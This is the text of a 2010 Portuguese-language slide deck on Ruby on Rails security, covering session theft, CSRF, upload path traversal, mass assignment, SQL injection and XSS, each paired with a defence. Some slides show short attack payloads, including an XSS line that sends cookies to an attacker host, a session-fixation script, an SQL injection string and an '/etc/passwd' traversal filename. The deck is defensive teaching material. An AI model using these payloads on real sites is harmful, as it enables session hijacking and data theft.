SlideShare uma empresa Scribd logo
1 de 121
Baixar para ler offline
Segurança &
                                      Ruby on Rails

                                       http://julio.monteiro.eti.br
quinta-feira, 28 de janeiro de 2010
whoami



quinta-feira, 28 de janeiro de 2010
Joinville, SC
quinta-feira, 28 de janeiro de 2010
CCT, UDESC
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Joinville,	
  SC

quinta-feira, 28 de janeiro de 2010
Curi.ba,	
  PR
                                                  Joinville,	
  SC

quinta-feira, 28 de janeiro de 2010
São	
  Paulo,	
  SP
                                 Curi.ba,	
  PR
                                                  Joinville,	
  SC

quinta-feira, 28 de janeiro de 2010
Benguela,	
  Angola

                                                   São	
  Paulo,	
  SP
                                 Curi.ba,	
  PR
                                                  Joinville,	
  SC

quinta-feira, 28 de janeiro de 2010
ra
                                                                       ut




                                                                                               ss
                                              o




                                                                                                                         az
                                                                                                         iro
                                                                    od
                                            dr




                                                                                             du
                                                                                    la




                                                                                                                       ov
                                                                                 el
                                           an




                                                                                                       te
                                                        zo


                                                                  dr




                                                                                          ha




                                                                                                                      d
                                                                                   n




                                                                                                     on
                                                     ca
                                         ev




                                                                an




                                                                                                                  rri
                                                                                za


                                                                                        ac
                                                  fra




                                                                                                   jm
                                      ed




                                                              ev




                                                                                                               ga
                                                                            gil


                                                                                       m


                                                                                                 @
                                      @


                                             @


                                                             @



                                                                         @


                                                                                       @




                                                                                                             @
                                          @p            @r          @j             @p          @m           @a
                                             at           ob            ack           ita          sp i       ne
                                                  ric          ert           so n         gor           aze     lize
                                                     kes          oe              rov        asg
                                                         pa         sp i             ina         g         ra
                                                            ke           nh
                                                                            a




quinta-feira, 28 de janeiro de 2010
Sessões



quinta-feira, 28 de janeiro de 2010
Sessões

                      • HTTP é um protocolo stateless
                      • Sessão é identificada por um cookie
                               (contendo uma identificação e um hash)
                      • Enviado do servidor para o cliente, e do
                               cliente para o servidor



quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Roubo de Sessão



quinta-feira, 28 de janeiro de 2010
Roubo de Sessão


                • Roubo de um arquivo de cookie por um
                         “atacante”
                • Permite que o atacante aja em nome da vítima


quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo   Como combater?




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo   Como combater?

                      Sniffers em uma rede




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo   Como combater?

                      Sniffers em uma rede      SSL (https)




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo   Como combater?

                      Sniffers em uma rede      SSL (https)


                    Utilizar computadores
                           “públicos”




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo   Como combater?

                      Sniffers em uma rede       SSL (https)


                    Utilizar computadores      Botão “logout”,
                           “públicos”          expirar sessão




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo     Como combater?

                      Sniffers em uma rede         SSL (https)


                    Utilizar computadores        Botão “logout”,
                           “públicos”            expirar sessão

                             Session Fixation




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo     Como combater?

                      Sniffers em uma rede         SSL (https)


                    Utilizar computadores        Botão “logout”,
                           “públicos”            expirar sessão

                             Session Fixation    (mais adiante)




quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo     Como combater?

                      Sniffers em uma rede         SSL (https)


                    Utilizar computadores        Botão “logout”,
                           “públicos”            expirar sessão

                             Session Fixation    (mais adiante)

                                       XSS


quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser
                                 roubada?
                                      Roubo     Como combater?

                      Sniffers em uma rede         SSL (https)


                    Utilizar computadores        Botão “logout”,
                           “públicos”            expirar sessão

                             Session Fixation    (mais adiante)

                                       XSS       (mais adiante)


quinta-feira, 28 de janeiro de 2010
Dica:


                           Nunca armazene objetos
                           grandes em uma sessão.


quinta-feira, 28 de janeiro de 2010
Dica:

                                   Nunca armazene
                               informações críticas
                                   em uma sessão.


quinta-feira, 28 de janeiro de 2010
Como uma sessão é
                               armazenada?


quinta-feira, 28 de janeiro de 2010
Como uma sessão é
                               armazenada?

                      • ActiveRecordStore: armazena no
                               banco de dados (tabela “sessions”)
                      • CookieStore: armazena em um cookie
                               do usuário




quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Replay Attack no
                                       CookieStore


quinta-feira, 28 de janeiro de 2010
Replay Attack no
                                       CookieStore
           1. Usuário ativa um cupom de presente na sua loja
              online, ficando com R$50 de crédito (armazenado
              na sessão)




quinta-feira, 28 de janeiro de 2010
Replay Attack no
                                       CookieStore
           1. Usuário ativa um cupom de presente na sua loja
              online, ficando com R$50 de crédito (armazenado
              na sessão)
           2. Usuário compra algo custando R$40




quinta-feira, 28 de janeiro de 2010
Replay Attack no
                                       CookieStore
           1. Usuário ativa um cupom de presente na sua loja
              online, ficando com R$50 de crédito (armazenado
              na sessão)
           2. Usuário compra algo custando R$40
           3. Sessão agora armazena que usuário tem R$10




quinta-feira, 28 de janeiro de 2010
Replay Attack no
                                       CookieStore
           1. Usuário ativa um cupom de presente na sua loja
              online, ficando com R$50 de crédito (armazenado
              na sessão)
           2. Usuário compra algo custando R$40
           3. Sessão agora armazena que usuário tem R$10
           4. Usuário sobreescreve a sessão atual pela sessão
              inicial, ficando com R$50 novamente


quinta-feira, 28 de janeiro de 2010
Session Fixation



quinta-feira, 28 de janeiro de 2010
Session Fixation

                                           <script>
                           document.cookie="_session_id=16d5b78abb
                                  28e3d6206b60f22a03c8d9";
                                          </script>




quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
                                      Session Fixation
Como combater
                                       Session Fixation?

                                      Utilize reset_session ao realizar login e/ou
                                       armazenar algo do usuário (como IP ou
                                                      navegador).




quinta-feira, 28 de janeiro de 2010
Expirando sessões



quinta-feira, 28 de janeiro de 2010
Expirando sessões


                      • Expire-as de tempo em tempo (com base
                               no updated_at e no created_at)
                      • Um simples rake no crontab já resolve


quinta-feira, 28 de janeiro de 2010
CSRF



quinta-feira, 28 de janeiro de 2010
CSRF

                      • Cross-Site Request Forgery
                      • Trata-se de aproveitar da sessão de um
                               usuário, forçando-o (muitas vezes sem
                               saber) a realizar determinada ação




quinta-feira, 28 de janeiro de 2010
CSRF
quinta-feira, 28 de janeiro de 2010
Como combater CSRF?


                                Utilize os métodos HTTP da maneira correta
                                  (GET e POST, obrigatoriamente; e PUT e
                                            DELETE se possível)




quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Como combater CSRF?

                      • Utilize os métodos HTTP da maneira
                               correta (GET e POST, obrigatoriamente; e
                               PUT e DELETE se possível)
                      • Utilize um token


quinta-feira, 28 de janeiro de 2010
Como combater CSRF?

                      • Utilize os métodos HTTP da maneira
                               correta (GET e POST, obrigatoriamente; e
                               PUT e DELETE se possível)
                      • Utilize um token


quinta-feira, 28 de janeiro de 2010
Injeção em
                                Redirecionamentos


quinta-feira, 28 de janeiro de 2010
Injeção em
                                Redirecionamentos

                                      http://www.example.com/site/legacy?
                                            param1=xy&param2=23&
                                          host=www.attacker.com




quinta-feira, 28 de janeiro de 2010
Como combater injeções
                  em Redirecionamentos?


                                      Não aceite URLs (ou partes dela)
                                             como parâmetro.




quinta-feira, 28 de janeiro de 2010
Uploads de arquivos



quinta-feira, 28 de janeiro de 2010
Uploads de arquivos
                      •        Algumas (várias?) aplicações aceitam
                               uploads, recebendo um arquivo e um nome
                               de arquivo.
                      •         Se você armazena os arquivos em /var/
                               www/uploads, imagine se alguém fizer
                               upload de um arquivo chamado
                               ../../../etc/passwd ?


quinta-feira, 28 de janeiro de 2010
Como combater uploads
                       maliciosos?


                                 Evite receber o nome do arquivo, ou crie um
                                         filtro com expressão regular.




quinta-feira, 28 de janeiro de 2010
DoS por uploads



quinta-feira, 28 de janeiro de 2010
DoS por uploads

                      •         Se seu site processa arquivos (como
                               imagens, gerando miniaturas), nunca faça-o
                               sincronamente.
                      •         Imagine alguém enviando milhares de
                               arquivos ao mesmo tempo?




quinta-feira, 28 de janeiro de 2010
Como combater DoS
                               por uploads?

                                 Processe arquivos assincronamente (em um
                                 daemon ou em um cron); se possível, até em
                                          uma máquina separada.




quinta-feira, 28 de janeiro de 2010
Upload de executáveis



quinta-feira, 28 de janeiro de 2010
Upload de executáveis

                      • Você terá problemas se armazenar seus
                               arquivos em algum local "autorizado" a
                               executar executáveis (como .CGI no
                               Apache Document Directory do seu Virtual
                               Host)




quinta-feira, 28 de janeiro de 2010
Como combater DoS
                               por uploads?

                               Simplesmente tenha certeza que seu servidor
                                web não está executando arquivos naquele
                                                diretório.




quinta-feira, 28 de janeiro de 2010
Downloads não
                                       autorizados


quinta-feira, 28 de janeiro de 2010
Downloads não
                                       autorizados

                      • Evite que os usuários "escolham" o que
                               querem baixar, como em:




quinta-feira, 28 de janeiro de 2010
Downloads não
                                       autorizados

                      • Evite que os usuários "escolham" o que
                               querem baixar, como em:




quinta-feira, 28 de janeiro de 2010
Como combater downloads
                     não autorizados?




quinta-feira, 28 de janeiro de 2010
Como combater downloads
                     não autorizados?




                                   Opcionalmente, armazene o nome do
                                 arquivo no banco de dados, identificando-
                                    o para o usuário através de um id.
quinta-feira, 28 de janeiro de 2010
Mass Assignment



quinta-feira, 28 de janeiro de 2010
Mass Assignment


                      • Você sabia que o "script/generate scaffold"
                               não gera o código mais completo e seguro
                               do mundo? :)




quinta-feira, 28 de janeiro de 2010
Mass Assignment




quinta-feira, 28 de janeiro de 2010
Mass Assignment




                              http://www.example.com/user/signup?
                             user[user]=ow3ned&user[admin]=1

quinta-feira, 28 de janeiro de 2010
Como combater aproveitamentos
                      do mass assignment?




quinta-feira, 28 de janeiro de 2010
Como combater aproveitamentos
                      do mass assignment?




                                      Modo paranóico:


quinta-feira, 28 de janeiro de 2010
Força bruta no
                                      login do usuário


quinta-feira, 28 de janeiro de 2010
Como combater ataque
                        de força bruta?

                                 CAPTCH depois de determinadas tentativas
                                            falhas de login.
                             Utilize uma mensagem de erro genérica, como
                             “usuário OU senha inválido, tente novamente”.




quinta-feira, 28 de janeiro de 2010
Hijacks diversos



quinta-feira, 28 de janeiro de 2010
Hijacks diversos

                      • Senhas: requira que o usuário digite a antiga
                               senha para conseguir mudar.




quinta-feira, 28 de janeiro de 2010
Hijacks diversos

                      • Senhas: requira que o usuário digite a antiga
                               senha para conseguir mudar.
                      • Email: requira que o usuário digite a antiga
                               senha para conseguir mudar




quinta-feira, 28 de janeiro de 2010
Hijacks diversos

                      • Senhas: requira que o usuário digite a antiga
                               senha para conseguir mudar.
                      • Email: requira que o usuário digite a antiga
                               senha para conseguir mudar
                      • Outros: lembra do “problema” do GMail?

quinta-feira, 28 de janeiro de 2010
CAPTCHA



quinta-feira, 28 de janeiro de 2010
CAPTCHA negativo



quinta-feira, 28 de janeiro de 2010
Informações sensíveis
                                no Log


quinta-feira, 28 de janeiro de 2010
Como combater
                  informações sensíveis no log?




quinta-feira, 28 de janeiro de 2010
Expressões regulares



quinta-feira, 28 de janeiro de 2010
Expressões regulares




quinta-feira, 28 de janeiro de 2010
Expressões regulares




quinta-feira, 28 de janeiro de 2010
Como combater aproveitamento
                     de expressões regulares?



                                      Use A ao invés de ^
                                      Use Z ao invés de $




quinta-feira, 28 de janeiro de 2010
Escalação de privilégios



quinta-feira, 28 de janeiro de 2010
Escalação de privilégios


                                      http://www.example.com/projects/1




quinta-feira, 28 de janeiro de 2010
Escalação de privilégios




quinta-feira, 28 de janeiro de 2010
Como combater aproveitamento
                     de expressões regulares?




quinta-feira, 28 de janeiro de 2010
Whitelist > Blacklist



quinta-feira, 28 de janeiro de 2010
Whitelist rula!
                      • before_filter :only => [...] ao invés de
                               before_filter :except => [...]




quinta-feira, 28 de janeiro de 2010
Whitelist rula!
                      • before_filter :only => [...] ao invés de
                               before_filter :except => [...]
                      • attr_accessible ao invés de attr_protected



quinta-feira, 28 de janeiro de 2010
Whitelist rula!
                      • before_filter :only => [...] ao invés de
                               before_filter :except => [...]
                      • attr_accessible ao invés de attr_protected
                      • Permita somente <strong> ao invés de
                               remover <script>




quinta-feira, 28 de janeiro de 2010
Injeção SQL



quinta-feira, 28 de janeiro de 2010
Injeção SQL




quinta-feira, 28 de janeiro de 2010
Injeção SQL



                                         ' OR 1 --




quinta-feira, 28 de janeiro de 2010
Injeção SQL



                                         ' OR 1 --

         SELECT * FROM projects WHERE name = '' OR 1 --'

quinta-feira, 28 de janeiro de 2010
Como combater
                                       injeções SQL?




quinta-feira, 28 de janeiro de 2010
XSS



quinta-feira, 28 de janeiro de 2010
XSS
                      • Cross Site Scripting
                      • Atualmente é o tipo de ataque mais comum,
                               segundo a Symantec Global Internet Security
                               Threat Report.
                      • Mais de 510.000 sites tiveram este tipo de
                               ataque só em abril de 2008.
                      • Diversas ferramentas para auxiliar estes
                               ataques, como o MPack.


quinta-feira, 28 de janeiro de 2010
XSS: Injeção JavaScript



quinta-feira, 28 de janeiro de 2010
XSS: Injeção JavaScript

                                      <script>alert('Hello');</script>


                          <table background="javascript:alert('Hello')">




quinta-feira, 28 de janeiro de 2010
XSS: Roubo de Cookie



quinta-feira, 28 de janeiro de 2010
XSS: Roubo de Cookie

              <script>document.write(document.cookie);</script>


             <script>document.write('<img src="http://
        www.attacker.com/' + document.cookie + '">');</script>




quinta-feira, 28 de janeiro de 2010
XSS: Defacement



quinta-feira, 28 de janeiro de 2010
XSS: Defacement


               <iframe name=”StatPage” src="http://58.xx.xxx.xxx"
                width=5 height=5 style=”display:none”></iframe>




quinta-feira, 28 de janeiro de 2010
Como combater estes
                             ataques XSS?
                                 Limpe a “entrada” do usuário com o método
                                                 sanatize.




quinta-feira, 28 de janeiro de 2010
Como combater estes
                             ataques XSS?
                                 Limpe a “entrada” do usuário com o método
                                                 sanatize.


                             Limpe a “saída” (impressão) com escapeHTML
                                      (), também chamado de h().



quinta-feira, 28 de janeiro de 2010
Como combater estes
                             ataques XSS?
                                 Limpe a “entrada” do usuário com o método
                                                 sanatize.


                             Limpe a “saída” (impressão) com escapeHTML
                                      (), também chamado de h().
                                         <%=h @user.name %>


quinta-feira, 28 de janeiro de 2010
XSS: Injeção CSS



quinta-feira, 28 de janeiro de 2010
XSS: Injeção CSS


                                      background:url('javascript:alert(1)')




quinta-feira, 28 de janeiro de 2010
Como combater estes
                  ataque XSS de injeção CSS?


                                      Evite CSS personalizado.




quinta-feira, 28 de janeiro de 2010
Dicas sobre a interface
                         administrativa


quinta-feira, 28 de janeiro de 2010
Dicas sobre a interface
                           administrativa
                      • Coloque-a em um subdomínio distinto,
                               como admin.campusparty.com.br. Isso evita
                               truques com Cookies.




quinta-feira, 28 de janeiro de 2010
Dicas sobre a interface
                           administrativa
                      • Coloque-a em um subdomínio distinto,
                               como admin.campusparty.com.br. Isso evita
                               truques com Cookies.
                      • Se possível, limite o acesso administrativo a
                               um número restritos de IP (ou a uma faixa).




quinta-feira, 28 de janeiro de 2010
Dicas sobre a interface
                           administrativa
                      • Coloque-a em um subdomínio distinto,
                               como admin.campusparty.com.br. Isso evita
                               truques com Cookies.
                      • Se possível, limite o acesso administrativo a
                               um número restritos de IP (ou a uma faixa).
                      • Que tal uma senha especial para ações
                               importantes, como deletar usuários?


quinta-feira, 28 de janeiro de 2010
http://www.pragprog.com
quinta-feira, 28 de janeiro de 2010
http://www.rorsecurity.info
quinta-feira, 28 de janeiro de 2010
http://guias.rubyonrails.pro.br/
quinta-feira, 28 de janeiro de 2010
Segurança &
                                      Ruby on Rails

                                       http://julio.monteiro.eti.br
quinta-feira, 28 de janeiro de 2010

Mais conteúdo relacionado

Mais procurados

Vitrine 09-2011-tupperware show
Vitrine 09-2011-tupperware showVitrine 09-2011-tupperware show
Vitrine 09-2011-tupperware showGeovania Santana
 
O POVO NO ENEM 2012 FASCÍCULO 1
O POVO NO ENEM 2012 FASCÍCULO 1O POVO NO ENEM 2012 FASCÍCULO 1
O POVO NO ENEM 2012 FASCÍCULO 1Jota Sousa
 
O POVO NO ENEM 2012 Fasc 03
O POVO NO ENEM 2012 Fasc 03O POVO NO ENEM 2012 Fasc 03
O POVO NO ENEM 2012 Fasc 03Jota Sousa
 
O POVO NO ENEM 2012 Fasc 04
O POVO NO ENEM 2012 Fasc 04O POVO NO ENEM 2012 Fasc 04
O POVO NO ENEM 2012 Fasc 04Jota Sousa
 
O POVO NO ENEM 2012 Fasc 02
O POVO NO ENEM 2012 Fasc 02O POVO NO ENEM 2012 Fasc 02
O POVO NO ENEM 2012 Fasc 02Jota Sousa
 
Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...
Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...
Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...Jose Claudio Terra
 
Décima primeira Oficina Semio-participativa
Décima primeira Oficina Semio-participativaDécima primeira Oficina Semio-participativa
Décima primeira Oficina Semio-participativaXO na Escola e Fora Dela
 
Acessorios bosch
Acessorios boschAcessorios bosch
Acessorios boschmoises0411
 
Arquitetura de Informação
Arquitetura de InformaçãoArquitetura de Informação
Arquitetura de InformaçãoCarolina Leslie
 
3937 folder institucional_atlas_modelo_grampocanoa_miolo10
3937 folder institucional_atlas_modelo_grampocanoa_miolo103937 folder institucional_atlas_modelo_grampocanoa_miolo10
3937 folder institucional_atlas_modelo_grampocanoa_miolo10Paula Guedes
 
Como Analista de Negocio Interage com as Práticas da ITIL
Como Analista de Negocio Interage com as Práticas da ITILComo Analista de Negocio Interage com as Práticas da ITIL
Como Analista de Negocio Interage com as Práticas da ITILRildo (@rildosan) Santos
 
Plano De Actividades Do Projecto Aler+Comcalendario
Plano De Actividades Do Projecto Aler+ComcalendarioPlano De Actividades Do Projecto Aler+Comcalendario
Plano De Actividades Do Projecto Aler+Comcalendariomajoro
 
Apresentação da marca Atmosfera
Apresentação da marca AtmosferaApresentação da marca Atmosfera
Apresentação da marca AtmosferaMaria Marta Stopa
 

Mais procurados (20)

Vitrine 09-2011-tupperware show
Vitrine 09-2011-tupperware showVitrine 09-2011-tupperware show
Vitrine 09-2011-tupperware show
 
Orbital - Recursos villeImob
Orbital - Recursos villeImobOrbital - Recursos villeImob
Orbital - Recursos villeImob
 
O POVO NO ENEM 2012 FASCÍCULO 1
O POVO NO ENEM 2012 FASCÍCULO 1O POVO NO ENEM 2012 FASCÍCULO 1
O POVO NO ENEM 2012 FASCÍCULO 1
 
O POVO NO ENEM 2012 Fasc 03
O POVO NO ENEM 2012 Fasc 03O POVO NO ENEM 2012 Fasc 03
O POVO NO ENEM 2012 Fasc 03
 
O POVO NO ENEM 2012 Fasc 04
O POVO NO ENEM 2012 Fasc 04O POVO NO ENEM 2012 Fasc 04
O POVO NO ENEM 2012 Fasc 04
 
O POVO NO ENEM 2012 Fasc 02
O POVO NO ENEM 2012 Fasc 02O POVO NO ENEM 2012 Fasc 02
O POVO NO ENEM 2012 Fasc 02
 
Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...
Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...
Produtividade do Trabalhador do Conhecimento Desafios Oportunidades e Novas H...
 
Décima primeira Oficina Semio-participativa
Décima primeira Oficina Semio-participativaDécima primeira Oficina Semio-participativa
Décima primeira Oficina Semio-participativa
 
Acessorios bosch
Acessorios boschAcessorios bosch
Acessorios bosch
 
Golfts
GolftsGolfts
Golfts
 
Arquitetura de Informação
Arquitetura de InformaçãoArquitetura de Informação
Arquitetura de Informação
 
Itamaraty
ItamaratyItamaraty
Itamaraty
 
3937 folder institucional_atlas_modelo_grampocanoa_miolo10
3937 folder institucional_atlas_modelo_grampocanoa_miolo103937 folder institucional_atlas_modelo_grampocanoa_miolo10
3937 folder institucional_atlas_modelo_grampocanoa_miolo10
 
Como Analista de Negocio Interage com as Práticas da ITIL
Como Analista de Negocio Interage com as Práticas da ITILComo Analista de Negocio Interage com as Práticas da ITIL
Como Analista de Negocio Interage com as Práticas da ITIL
 
Apresentacao rio+20
Apresentacao rio+20Apresentacao rio+20
Apresentacao rio+20
 
Plano De Actividades Do Projecto Aler+Comcalendario
Plano De Actividades Do Projecto Aler+ComcalendarioPlano De Actividades Do Projecto Aler+Comcalendario
Plano De Actividades Do Projecto Aler+Comcalendario
 
COMUNICADO PARA NOVOS MEMBROS
COMUNICADO PARA NOVOS MEMBROSCOMUNICADO PARA NOVOS MEMBROS
COMUNICADO PARA NOVOS MEMBROS
 
A lenda
A lendaA lenda
A lenda
 
Artigo inpa
Artigo inpaArtigo inpa
Artigo inpa
 
Apresentação da marca Atmosfera
Apresentação da marca AtmosferaApresentação da marca Atmosfera
Apresentação da marca Atmosfera
 

Destaque

Destaque (9)

Campusparty2011dl
Campusparty2011dlCampusparty2011dl
Campusparty2011dl
 
Silverlight 4.0
Silverlight 4.0Silverlight 4.0
Silverlight 4.0
 
Mc1 JAVA
Mc1 JAVAMc1 JAVA
Mc1 JAVA
 
Apresentacao demoiselle campus_party_2011
Apresentacao demoiselle campus_party_2011Apresentacao demoiselle campus_party_2011
Apresentacao demoiselle campus_party_2011
 
Flash mobile
Flash mobileFlash mobile
Flash mobile
 
Seguranca De Redes
Seguranca De RedesSeguranca De Redes
Seguranca De Redes
 
Sistema de alimentacao
Sistema de alimentacaoSistema de alimentacao
Sistema de alimentacao
 
Manual de manutenção de caminhões eletrônicos
Manual de manutenção de caminhões eletrônicosManual de manutenção de caminhões eletrônicos
Manual de manutenção de caminhões eletrônicos
 
08 sistema common rail diesel
08 sistema common rail diesel08 sistema common rail diesel
08 sistema common rail diesel
 

Semelhante a SegurançA E Ruby On Rails (20)

Reserva técnica iel 22222
Reserva técnica iel 22222Reserva técnica iel 22222
Reserva técnica iel 22222
 
Reserva técnica iel teste pdf
Reserva técnica iel teste pdfReserva técnica iel teste pdf
Reserva técnica iel teste pdf
 
2 ll 28
2 ll 282 ll 28
2 ll 28
 
Apresentação Saint Gobain
Apresentação Saint GobainApresentação Saint Gobain
Apresentação Saint Gobain
 
Apresentação Diferencia
Apresentação DiferenciaApresentação Diferencia
Apresentação Diferencia
 
DUO
DUODUO
DUO
 
Duo
Duo Duo
Duo
 
Dpl dimissioni volontarie 30 lug12
Dpl dimissioni volontarie 30 lug12Dpl dimissioni volontarie 30 lug12
Dpl dimissioni volontarie 30 lug12
 
Broadway central park
Broadway central parkBroadway central park
Broadway central park
 
Enaber2008
Enaber2008Enaber2008
Enaber2008
 
Brooklin Central Park
Brooklin Central ParkBrooklin Central Park
Brooklin Central Park
 
Brooklin Central Park
Brooklin Central ParkBrooklin Central Park
Brooklin Central Park
 
Apartamento em Jundiaí - Art'e Residence
Apartamento em Jundiaí - Art'e ResidenceApartamento em Jundiaí - Art'e Residence
Apartamento em Jundiaí - Art'e Residence
 
Borland-Model Driven Architecture
Borland-Model Driven ArchitectureBorland-Model Driven Architecture
Borland-Model Driven Architecture
 
Geo go
Geo goGeo go
Geo go
 
Montanhas do Mundo
Montanhas do MundoMontanhas do Mundo
Montanhas do Mundo
 
Design office-tower
Design office-towerDesign office-tower
Design office-tower
 
COMUNICADO PARA NOVOS MEMBROS
COMUNICADO PARA NOVOS MEMBROSCOMUNICADO PARA NOVOS MEMBROS
COMUNICADO PARA NOVOS MEMBROS
 
Metropolitan central park
Metropolitan central parkMetropolitan central park
Metropolitan central park
 
Pontualidade
PontualidadePontualidade
Pontualidade
 

Mais de Campus Party Brasil

Desenvolvimento de aplicações para o Google App Engine
Desenvolvimento de aplicações para o Google App EngineDesenvolvimento de aplicações para o Google App Engine
Desenvolvimento de aplicações para o Google App EngineCampus Party Brasil
 
Técnicas forenses para a recuperação de arquivos
Técnicas forenses para a recuperação de arquivosTécnicas forenses para a recuperação de arquivos
Técnicas forenses para a recuperação de arquivosCampus Party Brasil
 
Como ganhar dinheiro no mundo mobile?
Como ganhar dinheiro no mundo mobile?Como ganhar dinheiro no mundo mobile?
Como ganhar dinheiro no mundo mobile?Campus Party Brasil
 
Tempestades solares: mitos e verdades
Tempestades solares: mitos e verdadesTempestades solares: mitos e verdades
Tempestades solares: mitos e verdadesCampus Party Brasil
 
A busca por planetas além do sistema solar
A busca por planetas além do sistema solarA busca por planetas além do sistema solar
A busca por planetas além do sistema solarCampus Party Brasil
 
Construção de uma luneta a baixo custo
Construção de uma luneta a baixo custoConstrução de uma luneta a baixo custo
Construção de uma luneta a baixo custoCampus Party Brasil
 
Hardware livre Arduino: eletrônica e robótica com hardware e software livres
Hardware livre Arduino: eletrônica e robótica com hardware e software livresHardware livre Arduino: eletrônica e robótica com hardware e software livres
Hardware livre Arduino: eletrônica e robótica com hardware e software livresCampus Party Brasil
 
Robótica e educação inclusiva
Robótica e educação inclusivaRobótica e educação inclusiva
Robótica e educação inclusivaCampus Party Brasil
 
Fazendo do jeito certo: criando jogos sofisticados com DirectX
Fazendo do jeito certo: criando jogos sofisticados com DirectXFazendo do jeito certo: criando jogos sofisticados com DirectX
Fazendo do jeito certo: criando jogos sofisticados com DirectXCampus Party Brasil
 
Robótica e educação inclusiva
	Robótica e educação inclusiva	Robótica e educação inclusiva
Robótica e educação inclusivaCampus Party Brasil
 
Gestão e monitoramento de redes e dispositivos com Software Livre
Gestão e monitoramento de redes e dispositivos com Software LivreGestão e monitoramento de redes e dispositivos com Software Livre
Gestão e monitoramento de redes e dispositivos com Software LivreCampus Party Brasil
 
Confecção de Circuito Impresso
Confecção de Circuito ImpressoConfecção de Circuito Impresso
Confecção de Circuito ImpressoCampus Party Brasil
 
Virtualização, cloud computig e suas tendencias
Virtualização, cloud computig e suas tendenciasVirtualização, cloud computig e suas tendencias
Virtualização, cloud computig e suas tendenciasCampus Party Brasil
 

Mais de Campus Party Brasil (20)

Wordpress
WordpressWordpress
Wordpress
 
Buracos negros
Buracos negrosBuracos negros
Buracos negros
 
Programação para Atari 2600
Programação para Atari 2600Programação para Atari 2600
Programação para Atari 2600
 
Desenvolvimento de aplicações para o Google App Engine
Desenvolvimento de aplicações para o Google App EngineDesenvolvimento de aplicações para o Google App Engine
Desenvolvimento de aplicações para o Google App Engine
 
Técnicas forenses para a recuperação de arquivos
Técnicas forenses para a recuperação de arquivosTécnicas forenses para a recuperação de arquivos
Técnicas forenses para a recuperação de arquivos
 
Como ganhar dinheiro no mundo mobile?
Como ganhar dinheiro no mundo mobile?Como ganhar dinheiro no mundo mobile?
Como ganhar dinheiro no mundo mobile?
 
Tempestades solares: mitos e verdades
Tempestades solares: mitos e verdadesTempestades solares: mitos e verdades
Tempestades solares: mitos e verdades
 
A busca por planetas além do sistema solar
A busca por planetas além do sistema solarA busca por planetas além do sistema solar
A busca por planetas além do sistema solar
 
Passeio virtual pelo LHC
Passeio virtual pelo LHCPasseio virtual pelo LHC
Passeio virtual pelo LHC
 
Construção de uma luneta a baixo custo
Construção de uma luneta a baixo custoConstrução de uma luneta a baixo custo
Construção de uma luneta a baixo custo
 
Hardware livre Arduino: eletrônica e robótica com hardware e software livres
Hardware livre Arduino: eletrônica e robótica com hardware e software livresHardware livre Arduino: eletrônica e robótica com hardware e software livres
Hardware livre Arduino: eletrônica e robótica com hardware e software livres
 
Robótica e educação inclusiva
Robótica e educação inclusivaRobótica e educação inclusiva
Robótica e educação inclusiva
 
Fazendo do jeito certo: criando jogos sofisticados com DirectX
Fazendo do jeito certo: criando jogos sofisticados com DirectXFazendo do jeito certo: criando jogos sofisticados com DirectX
Fazendo do jeito certo: criando jogos sofisticados com DirectX
 
Blue Via
Blue ViaBlue Via
Blue Via
 
Linux para iniciantes
Linux para iniciantesLinux para iniciantes
Linux para iniciantes
 
Robótica e educação inclusiva
	Robótica e educação inclusiva	Robótica e educação inclusiva
Robótica e educação inclusiva
 
Gestão e monitoramento de redes e dispositivos com Software Livre
Gestão e monitoramento de redes e dispositivos com Software LivreGestão e monitoramento de redes e dispositivos com Software Livre
Gestão e monitoramento de redes e dispositivos com Software Livre
 
Confecção de Circuito Impresso
Confecção de Circuito ImpressoConfecção de Circuito Impresso
Confecção de Circuito Impresso
 
Vida de Programador
Vida de Programador Vida de Programador
Vida de Programador
 
Virtualização, cloud computig e suas tendencias
Virtualização, cloud computig e suas tendenciasVirtualização, cloud computig e suas tendencias
Virtualização, cloud computig e suas tendencias
 

SegurançA E Ruby On Rails

  • 1. Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010
  • 2. whoami quinta-feira, 28 de janeiro de 2010
  • 3. Joinville, SC quinta-feira, 28 de janeiro de 2010
  • 4. CCT, UDESC quinta-feira, 28 de janeiro de 2010
  • 5. quinta-feira, 28 de janeiro de 2010
  • 6. quinta-feira, 28 de janeiro de 2010
  • 7. Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • 8. Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • 9. São  Paulo,  SP Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • 10. Benguela,  Angola São  Paulo,  SP Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
